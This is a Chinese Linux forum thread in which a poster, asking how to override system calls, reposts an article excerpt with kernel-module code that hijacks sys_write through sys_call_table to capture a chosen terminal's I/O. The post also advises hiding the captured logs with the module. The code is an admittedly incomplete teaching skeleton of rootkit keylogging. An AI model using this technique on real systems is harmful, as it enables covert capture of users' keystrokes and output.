LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
12
返回列表 发新帖
楼主: asert

请问在Linux如何覆盖系统调用函数?

[复制链接]
 楼主| 发表于 2008-11-13 15:35:13 | 显示全部楼层
我在网上搜到了一篇文章,先发上来给大家瞧瞧,大家看行不?


//-----------------------------------------------------------------------
http://cache.baidu.com/c?m=9f65c ... 365c&user=baidu

2.7 TTY纪录的方法


纪录TTY是十分有趣的而且从很久以前就开始使用了,我们可以获得我们通过主值或者附值指定的TTY的每一个输入,在Phrack 50 halflife公布了一种十分好的LKM来做这个。

下面的代码是从他的LKM中摘抄的.他可以给每一个初学者演示TTY入侵的基本知识,尽管这并不是一个完整的实现.你不能直接使用他.因为我没有实现一个纪录用户TTY输入的的方法.这不过是给那些想懂得基础知识的人的.

好了,让我们继续:
  1. #define MODULE
  2. #define __KERNEL__
  3. #include <linux/module.h>
  4. #include <linux/kernel.h>
  5. #include <asm/unistd.h>
  6. #include <sys/syscall.h>
  7. #include <sys/types.h>
  8. #include <asm/fcntl.h>
  9. #include <asm/errno.h>
  10. #include <linux/types.h>
  11. #include <linux/dirent.h>
  12. #include <sys/mman.h>
  13. #include <linux/string.h>
  14. #include <linux/fs.h>
  15. #include <linux/malloc.h>
  16. #include <asm/io.h>
  17. #include <sys/sysmacros.h>
  18. int errno;
  19. /*我们想纪录的TTY*/
  20. int tty_minor = 2;
  21. int tty_major = 4;
  22. extern void* sys_call_table[];
  23. /*我们需要write系统调用*/
  24. static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);
  25. void *original_write;
  26. /*检查是否是我们需要的TTY*/
  27. int is_fd_tty(int fd)
  28. {
  29. struct file *f=NULL;
  30. struct inode *inode=NULL;
  31. int mymajor=0;
  32. int myminor=0;
  33. if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  34. return 0;
  35. mymajor = major(inode->i_rdev);
  36. myminor = minor(inode->i_rdev);
  37. if(mymajor != tty_major) return 0;
  38. if(myminor != tty_minor) return 0;
  39. return 1;
  40. }
  41. /*这是新的write(2)系统调用*/
  42. extern int new_write(int fd, char *buf, size_t count)
  43. {
  44. int r;
  45. char *kernel_buf;
  46. if(is_fd_tty(fd))
  47. {
  48. kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);
  49. memcpy_fromfs(kernel_buf, buf, count);
  50. /*在这里你可以将输出缓存输出到任何你想要的地方,他表示着每一个被你选定的TTY设备的输入.我没有实现这个例行的过程,因为在附录A你会发现一个完整的很好的由halflife实现的TTY入侵工具*/
  51. kfree(kernel_buf);
  52. }
  53. sys_call_table[SYS_write] = original_write;
  54. r = write(fd, buf, count);
  55. sys_call_table[SYS_write] = new_write;
  56. if(r == -1) return -errno;
  57. else return r;
  58. }
  59. int init_module(void)        
  60. {
  61. /*你必须已经理解这个了*/
  62. original_write = sys_call_table[SYS_write];
  63. sys_call_table[SYS_write] = new_write;
  64. return 0;
  65. }
  66. void cleanup_module(void)
  67. {
  68. /*不再记录了*/
  69. sys_call_table[SYS_write] = original_write;
  70. }
复制代码

注释会使得这些代码很容易被读懂.总体上的思路是截获sys_write(见 2.4.2)并且过滤我在2.4.2中提到的fd.在检查了fd的TTY是否是我们想跟踪的以后,我们就可以获得写入的数据并且将这些数据写入我们的纪录文件中(在上面的代码中没有实现).有好几种方法可以存储这些数据.halflife使用一个缓冲区(可以从我们自己的设备中获得),这是一个好主意(他也可以控制他的程序,通过ioctl命令来控制它的设备).

我个人推荐将这些数据存储在(被LKM)隐藏的文件中.并且用某种IPC来控制他.使用能够在你控制的系统中使用的方法.
回复 支持 反对

使用道具 举报

发表于 2008-11-14 13:42:28 | 显示全部楼层
Post by remote fish;1907829
那么 hanchao 兄的观点是什么呢? 当实现了自己的 write 后, 为了调用原始的 write, 除了 dlopen 或者手工实现, hanchao 兄能提供别的什么好方法吗?

如果这里要区分系统调用与库函数, 那么 hanchao 兄能提供什么覆盖系统调用的简洁方法吗?


没办法,只能改内核。

我的意思只是说这样只能换库函数,没办法换系统调用
回复 支持 反对

使用道具 举报

发表于 2009-5-18 17:26:36 | 显示全部楼层
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表